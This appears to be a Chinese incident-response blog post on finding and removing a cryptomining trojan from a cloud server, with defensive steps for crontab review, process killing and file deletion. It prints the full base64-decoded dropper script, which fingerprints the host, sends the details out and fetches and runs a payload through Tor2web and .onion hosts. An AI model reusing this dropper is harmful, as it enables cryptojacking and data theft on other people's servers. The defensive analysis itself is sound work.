实战矿马:数据异常牵出的挖矿木马(.systemd-service.sh)

2021-01-20 17:02:22 浏览数 (2)

案例背景

1.CVM主机安全控制台无数据显示。

2.服务器CPU突增至100%上下浮动,影响服务正常运行。


问题说明

1.单是CVM主机安全控制台无数据显示,大概率是主机安全服务进程YDService被强制停止。

2.服务器CPU突增至100%,大概率是挖矿进程占用CPU进程。


原因分析

1. 首先查看主机安全控制台,发现主机安全内无任何数据回传和图表信息,处于异常状态。

2. 查看机器的监控,出现CPU占用100%,时间大概在今日下午14时45分左右。为了快速为CPU降压,本次清理不做深入溯源,而是快速清理服务器挖矿病毒。


解决步骤:

第一步:使用top命令查看当前进程占用情况(目的:快速定位高占CPU的进程)

代码语言:javascript复制
top

定位出占用较高的恶意进程,这三个服务的PID分别为8635,10610,14438

代码语言:javascript复制
8635 1  0.0 0.0 0:00.00 Process root 75L6izvh 
10610 1 0.0 0.0 0:00.15 Process root q5wyiYQk
14438 1 0.0 0.0 0:00.00 Process root 0RKJGzjg

第二步:先停止对应恶意PID进程,为服务器CPU降压(注:这里不推荐直接删除进程,因为挖矿往往存在定时任务,删除后还会自动生成,但停止恶意进程会使其陷入一个执行的空窗期,为我们的清理排查赢得时间)

代码语言:javascript复制
kill STOP 8635 10610 14438 

第三步:查看定时任务(目的:挖矿进程常有写入定时任务的习惯,所以从定时任务中去定位挖矿文件往往效率较高)

代码语言:javascript复制
crontab -l 
我们可以发现,有4个任务写入了定时进程里我们可以发现,有4个任务写入了定时进程里

经过核查,上图下面的两个任务是服务器的业务正常启动业务,属于合法进程。那么,这两个任务就值得我们关注:

代码语言:javascript复制
33 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
52 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

先对.acme.sh审计

代码语言:javascript复制
cd /root/.acme.sh
.acme.sh文件目录.acme.sh文件目录

通过该文件的进程源码分析,我们找到了一个URL地址:

同时结合恶意文件检索引擎分析,可以判定.acme.sh是一个合法的CA配置组件,大家可以百度,因此,可以判断.acme.sh是一个正常文件同时结合恶意文件检索引擎分析,可以判定.acme.sh是一个合法的CA配置组件,大家可以百度,因此,可以判断.acme.sh是一个正常文件

重点!!!!!!!!!!!!!!

三个核心自动生成挖矿任务的文件位置:

代码语言:javascript复制
/etc/cron.d/0systemd                // 第一挖矿进程
/root/.systemd-service.sh           // 挖矿子进程1
/opt/systemd-service.sh           // 挖矿子进程2

查看第一个核心挖矿进程内容:

代码语言:javascript复制
vim /etc/cron.d/0systemd 
不断生成/opt/systemd-service.sh 文件不断生成/opt/systemd-service.sh 文件

我们的关注点就全面转向最后一个进程/root/.systemd-service.sh

查看一下文件内容

代码语言:javascript复制
vim /root/.systemd-service.sh
我们看到,该文件使用了base64加密我们看到,该文件使用了base64加密

其实这里还有一个隐藏的文件进程,也必须杀掉和删除才能清理干净:路径/opt/systemd-service.sh

为了保险,两个文件名再模糊查询检索一下:

代码语言:javascript复制
find / -iname systemd-service.sh
find / -iname .systemd-service.sh
/opt/systemd-service.sh和/root/.systemd-service.sh这两个路径就是核心进程路径,还有/etc/cron.d/0systemd是最终进程路径/opt/systemd-service.sh和/root/.systemd-service.sh这两个路径就是核心进程路径,还有/etc/cron.d/0systemd是最终进程路径

/root/.systemd-service.sh使用base64解码后的结果:

代码语言:javascript复制
#!/bin/bash
exec &>/dev/null
echo sMA4p3iYpUgY2CJZoyKJ5M66ce K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
echo
sMA4p3iYpUgY2CJZoyKJ5M66ce K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM))]}/$p | grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" |tr ' ' 'n'|sort -uR|head -1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod  x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod  x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it tor2web.io tor2web.su onion.com.de tor2web.to onion.sh
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done |base64 -d|bash 

我们可以看出,这是一个不断监控和写入的挖矿进程,那么挖矿源文件的定位就是/root/.systemd-service.sh进程

第四步:删除该恶意进程定时任务,再删除恶意进程文件

代码语言:javascript复制
rm -rf /etc/cron.d/0systemd 
rm -rf /root/.systemd-service.sh
rm -rf /opt/systemd-service.sh

第五步,kill 掉对应的进程PID,这里就可以删除进程了,因为挖矿源文件已经被删除

代码语言:javascript复制
Kill -9 8635 10610 14438 

删除后我们已经找不到对应的恶意PID 8635 10610 14438

继续观察是否有新的异常进程和端口启动继续观察是否有新的异常进程和端口启动

第六步:重启主机安全服务,因为本次问题是由于主机安全无数据引发的,同时要恢复一下服务

代码语言:javascript复制
service YDService restart
主机安全服务重启成功主机安全服务重启成功

第七步:验证

(1)验证CPU情况,已恢复正常,同时查看控制台主机安全数据,均已回显。

CPU负荷直线下降,恢复正常

CPU负荷直线下降,恢复正常CPU负荷直线下降,恢复正常

(2)查看自启动日志,看看是否还有新增任务,观察两个小时,无新增说明已经清理干净

代码语言:javascript复制
grep "systemd-service.sh" /var/log/cron

观察一个小时没有新文件生成,已经清理完毕。但推荐至少观察两个小时观察一个小时没有新文件生成,已经清理完毕。但推荐至少观察两个小时

总结一下

一、整个挖矿清理的过程逻辑,简述就是“先暂停——再清理——再恢复”,因为挖矿攻击行为的特性,停止挖矿进程会使挖矿进程陷入一个短暂“休眠期”,为我们赢得时间定位进程位置,清理核心进程。

二、挖矿进程文件位置

三个核心自动生成挖矿任务的文件位置:(注:定位核心进程位置时要留心,结合配置文件,自动任务,自动任务日志等信息综合判断,边清理边观察,边观察边清理)

代码语言:javascript复制
/etc/cron.d/0systemd                // 第一挖矿进程
/root/.systemd-service.sh           // 挖矿子进程1
/root/.systemd-service.sh           // 挖矿子进程2

二、挖矿的入侵源头经分析,主要由于安全组ssh远程端口未合理配置导致,直接开放于公网。像这类情况挖矿木马会通过批量扫描ssh端口爆破植入,使服务器沦为矿机。后期通过一些CASE,我会逐步在案例中分析挖矿木马一些有趣的骚操作。安全,防患于未然:因此要加强安全组策略限制,并养成定期修改服务器远程登录口令等安全习惯,才能防患于未然。

0 人点赞